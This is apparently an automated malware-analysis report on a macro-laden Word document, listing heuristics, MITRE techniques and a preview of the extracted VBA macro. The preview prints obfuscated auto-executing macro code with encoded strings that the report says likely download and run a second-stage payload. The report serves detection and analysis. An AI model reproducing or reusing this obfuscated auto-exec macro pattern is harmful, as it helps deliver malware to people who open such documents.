MALICIOUS
124
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Office document containing a VBA macro. The macro is triggered by the AutoOpen function and appears to be obfuscated, but the presence of execution tokens and a long encoded blob suggests it is designed to download and execute a second-stage payload. The file's metadata and heuristic firings strongly indicate malicious intent.
Heuristics 6
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 66579 bytes |
SHA-256: 8ef738081a3f73954f0b5e7a60e0f061658981396b3c3b40820625ff2df714cf |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 14 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "BZWZjaw"
Function CQFswJPFuKz()
On Error Resume Next
Select Case iJMPiz
Case 62524
tIVdV = Fix(20242)
RdfCr = Int(73863)
Case 59450
LLqST = ZtaSn
SWtwB = ChrW(FwzDZ)
End Select
LvMtZoRnO = TjtbOo + IpFKi("wCd9[l7H!(<qw(qn!t%w5AgNAYGA4AwNAQGAwAAZAkDAmBQZAMDAwAQZAUDA1AQYAIGA2AAMAgDAkBgNAUGAkBwMAEDAIJnWOkJEWj<", 12, 72)
Select Case iJMPiz
Case 62524
tIVdV = Fix(20242)
RdfCr = Int(73863)
Case 59450
LLqST = ZtaSn
SWtwB = ChrW(FwzDZ)
End Select
Select Case YwHSuf
Case 4449
ZjiIC = Fix(72553)
ltIfA = Int(85374)
Case 73763
ZpkGtY = JuGcq
MvNNDS = ChrW(MtzBY)
End Select
fQwdV = dOIcHW + IpFKi("Xj[!(YAMDA3AQMAEGA5AwMAkDA0AwMAYDA5AQYAMDAmBwNAMDA3AgMAMGAxAww(z]R#].bYjmC<_P7Awtbm%WoOq", 28, 56)
Select Case YwHSuf
Case 4449
ZjiIC = Fix(72553)
ltIfA = Int(85374)
Case 73763
ZpkGtY = JuGcq
MvNNDS = ChrW(MtzBY)
End Select
Select Case CLFdFI
Case 31872
rKKmNN = Fix(5636)
XNqYZ = Int(75093)
Case 57760
TCjhKj = SVMzfa
GmJUHB = ChrW(CWrwz)
End Select
oRzpbQBQbl = KQbSI + IpFKi("NPj.z3)w.BwNAYDAhBQOAIDAhBQZAUGA2AwNAQDA5i1.9!_Vfn_mrl", 14, 32)
Select Case CLFdFI
Case 31872
rKKmNN = Fix(5636)
XNqYZ = Int(75093)
Case 57760
TCjhKj = SVMzfa
GmJUHB = ChrW(CWrwz)
End Select
Select Case Mnwtj
Case 82600
zpnZX = Fix(97119)
jMMoBV = Int(31926)
Case 40672
joPTQz = KqWLY
XNIQmj = ChrW(sswUSi)
End Select
iMRhRKJ = UdhKPhS + IpFKi("YG(3Jww.Z(OSxAwNAUGAyAQYAgDAxAAOAIGA4AgYAMDA1AwNAQDAmBgMAQDAwAwMAUGAwAwYAYDAjBwYAUGA3AQOAIDA5AwNAIDAzAgMll", 3, 92)
Select Case Mnwtj
Case 82600
zpnZX = Fix(97119)
jMMoBV = Int(31926)
Case 40672
joPTQz = KqWLY
XNIQmj = ChrW(sswUSi)
End Select
Select Case QqjYK
Case 12529
VcwVb = Fix(53376)
MQfbXO = Int(54965)
Case 11870
PiEYan = VfrHBJ
ZKNRY = ChrW(AMPiA)
End Select
lLjpzLlAMF = USUSwrC + IpFKi("P3ZaG2$KAtooA_<jFCOAQYAEDAjBgMAIDA3AwNAUGAjBgMAEGAzAgZAYDAkBgMAMDA2A_(9(<J6IM", 10, 49)
Select Case QqjYK
Case 12529
VcwVb = Fix(53376)
MQfbXO = Int(54965)
Case 11870
PiEYan = VfrHBJ
ZKNRY = ChrW(AMPiA)
End Select
Select Case mQNppH
Case 99425
HHVuk = Fix(1024)
DIMdm = Int(86962)
Case 44582
XCoOv = jAwFuh
YWwaj = ChrW(QjpOFv)
End Select
nPndtMGjwY = ZaiXUv + IpFKi("sJM$7]]UHA4AwMAQGAxAwNAIGAyAQYAQDA4AgMAYDA3AAZAcDA2AANAcDA2AwMAEDA0AQZAkDA0AwMAkDAiBgNAQGA2AwYAEDA0AQMAMGAlBQYAkDA4AwMAIDAiBwMAYGAzAQYAIGAhBgNAEDA5AQOAEGA3AgMAYDAx.QhIl", 6, 154)
Select Case mQNppH
Case 99425
HHVuk = Fix(1024)
DIMdm = Int(86962)
Case 44582
XCoOv = jAwFuh
YWwaj = ChrW(QjpOFv)
End Select
Select Case wkaVHC
Case 30589
zjhTr = Fix(94963)
nYLTLp = Int(94998)
Case 98917
wZzQw = HasmUw
vAWilq = ChrW(jXuvt)
End Select
JPqlL = mFCYR + IpFKi("27Qwj4HNQNAUDA0AAOAYDAlBwYAkDAvdb", 4, 22)
Select Case wkaVHC
Case 30589
zjhTr = Fix(94963)
nYLTLp = Int(94998)
Case 98917
wZzQw = HasmUw
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.